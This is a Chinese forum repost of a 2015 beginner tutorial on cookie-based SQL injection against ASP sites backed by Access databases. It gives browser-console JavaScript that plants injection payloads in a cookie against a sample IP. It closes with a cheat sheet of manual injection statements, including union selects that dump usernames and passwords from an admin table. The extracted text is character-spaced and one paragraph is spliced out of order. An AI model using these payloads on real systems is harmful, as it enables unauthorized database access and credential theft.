搜索

[18985] 2015-09-17_（基础篇-2）浅谈cookie注入

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2015-09-17_（基础篇-2）浅谈cookie注入 （ 基 础 篇 - 2 ） 浅 谈 c o o k i e 注 入 喵 喵   i n n 0 t e a m   2 0 1 5 - 0 9 - 1 7 写 在 前 面 非 常 感 谢 小 伙 伴 们 对 我 们 i n n 0 t e a m 的 信 任 与 支 持 ， 喵 喵 甚 是 感 动 ~ 当 然 喵 喵 也 没 有 偷 懒 喔 ， 这 是 喵 妹 第 一 次 发 表 文 章 ， 小 伙 伴 们 不 要 笑 话 我 嘛 ~ ~ ~ 相 信 大 家 对 S Q L 注 入 的 原 理 和 利 用 方 式 已 经 很 熟 悉 了 ， 对 于 S Q L 注 入 的 防 范 措 施 基 本 上 可 以 用 过 滤 和 参 数 化 查 询 来 解 决 。 一 般 的 程 序 只 是 对 G E T 和 P O S T 数 据 进 行 过 滤 ， 没 有 对 以 c o o k i e 方 式 提 交 的 数 据 进 行 过 滤 ， 导 致 目 标 系 统 可 能 存 在 c o o k i e 注 入 。 本 文 将 以 A S P 语 言 和 A C C E S S 数 据 库 （ 虽 然 是 老 掉 牙 的 组 合 了 ， 但 是 我 们 是 来 学 习 原 理 的 好 不 啦 ~ ~ ~ ） 为 例 讲 解 c o o k i e 注 入 的 原 理 及 利 用 方 法 。 c o o k i e 注 入 形 成 的 原 因 注 入 形 成 的 原 因 程 序 获 取 前 端 提 交 的 数 据 有 三 种 形 式 ： 获 取 G E T 方 式 提 交 的 数 据 使 用 r e q u e s t . q u e r y s t r i n g ( ) 获 取 P O S T 方 式 提 交 的 数 据 使 用 r e q u e s t . f o r m ( ) r e q u e s t ( ) 是 未 指 明 使 用 r e q u e s t 对 象 的 哪 种 具 体 方 式 进 行 获 取 数 据 ， 对 G E T ， P O S T ， c o o k i e 方 式 提 交 的 数 据 都 可 以 接 收 。 当 使 用 G E T 和 P O S T 方 式 注 入 被 过 滤 时 ， 可 以 尝 试 使 用 c o o k i e 注 入 。 判 断 判 断 c o o k i e 注 入 注 入 打 开 正 常 页 面 h t t p : / / 1 9 2 . 1 6 8 . 1 6 . 1 9 8 / s h o w n e w s . a s p ? i d = 1 9 2 ， 页 面 打 开 后 在 浏 览 器 的 控 制 台 输 入 j a v a s c r i p t : a l e r t ( d o c u m e n t . c o o k i e = " i d = " + e s c a p e ( " 1 9 2 " ) ) ， 此 步 操 作 是 设 置 c o o k i e 值 ; 这 里 的 “ i d = ” 是 “ 参 数 名 ， “ e s c a p e ( " 1 9 2 " ) ” 中
以 此 附 上 手 工 注 入 A C C E S S 数 据 库 常 用 的 S Q L 语 句 ： 的 “ 1 9 2 ” 是 参 数 值 ， 在 控 制 台 执 行 这 条 语 句 后 会 在 页 面 中 弹 出 一 个 对 话 框 。 现 在 刷 新 页 面 看 是 否 还 能 正 常 访 问 。 如 果 能 正 常 访 问 ， 再 在 控 制 台 执 行 j a v a s c r i p t : a l e r t ( d o c u m e n t . c o o k i e = " i d = " + e s c a p e ( " 1 9 2   a n d 1 = 2 " ) ) ， 刷 新 页 面 后 页 面 不 能 正 常 显 示 ， 说 明 存 在 c o o k i e 注 入 。 c o o k i e 注 入 的 利 用 注 入 的 利 用 判 断 表 名 ： 在 控 制 台 执 行 语 句 j a v a s c r i p t : a l e r t ( d o c u m e n t . c o o k i e = " i d = " + e s c a p e ( " 1 9 2   a n d   e x i s t s   ( s e l e c t   *   f r o m   a d m i n   " ) ) ; 然 后 刷 新 页 面 ， 页 面 正 常 返 回 说 明 存 在 a d m i n 表 。 接 下 来 和 普 通 的 注 入 差 不 多 ， 只 是 自 己 构 造 的 s q l 语 句 放 置 的 位 置 不 一 样 而 已 , 形 如 ： j a v a s c r i p t : a l e r t ( d o c u m e n t . c o o k i e = " i d = " + e s c a p e ( " 1 9 2   a n d   1 = 2   u n i o n   s e l e c t " ) ) ; 在 控 制 台 执 行 完 语 句 后 刷 新 页 面 即 可 看 到 回 显 内 容 。 1 . 判 断 注 入 点 数 值 型 注 入 点 判 断 a n d   1 = 1 a n d   1 = 2 字 符 型 注 入 点 判 断 ' a n d   ' a ' = ' a ' a n d   ' a ' = ' b 若 两 次 返 回 结 果 不 一 致 ， 则 存 在 注 入 点 2 . 猜 解 表 名 a n d   e x i s t s ( s e l e c t   *   f r o m   表 名 ) 3 . 猜 列 数 按 照 某 字 段 进 行 排 序 ： o r d e r   b y   第 几 个 字 段 如 果 返 回 页 面 不 正 常 ， 则 说 明 字 段 数 超 过 了 真 正 的 字 段 数 ， 由 此 得 到 表 有 多 少 字 段 4 . 猜 解 列 名 a n d   e x i s t s ( s e l e c t   列 名 1 ， 列 名 2   f r o m   表 名 ) 5 . 爆 数 据 ： a n d   1 = 2   u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0   f r o m   表 名 a n d   1 = 2   u n i o n   s e l e c t   1 , u s e r n a m e , p a s s w o r d , 4 , 5 , 6 , 7 , 8 , 9 , 1 0   f r o m   a d m i n 6 . 判 断 记 录 数 量 h t t p : / / x x x . c o m / t e s t . a s p ? i d = 1   a n d   2 < ( s e l e c t   c o u n t ( * ) f r o m   表 名 ) 7 . 获 取 除 主 键 外 的 其 他 键 值 s e l e c t   1 , 2 , 3 , … … f r o m   u s e r   w h e r e   u s e r n a m e   n o t   i n   ( ' a d m i n ' , ' t e s t ' ) 或 者 是
s e l e c t   1 , 2 , 3 , … … f r o m   u s e r   w h e r e   u s e r n a m e   < >   ' a d m i n '   a n d   u s e r n a m e   < >   ' t e s t ' 以 此 类 推 … … 最 后 ， 感 谢 团 队 所 有 成 员 对 我 的 信 任 ， 么 么 哒 ~ ~ ~ 长 按 上 面 的 二 维 码 可 以 关 注 我 们 ， 如 果 你 觉 得 本 文 对 你 有 帮 助 可 以 分 享 到 朋 友 圈 ， 谢 谢
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理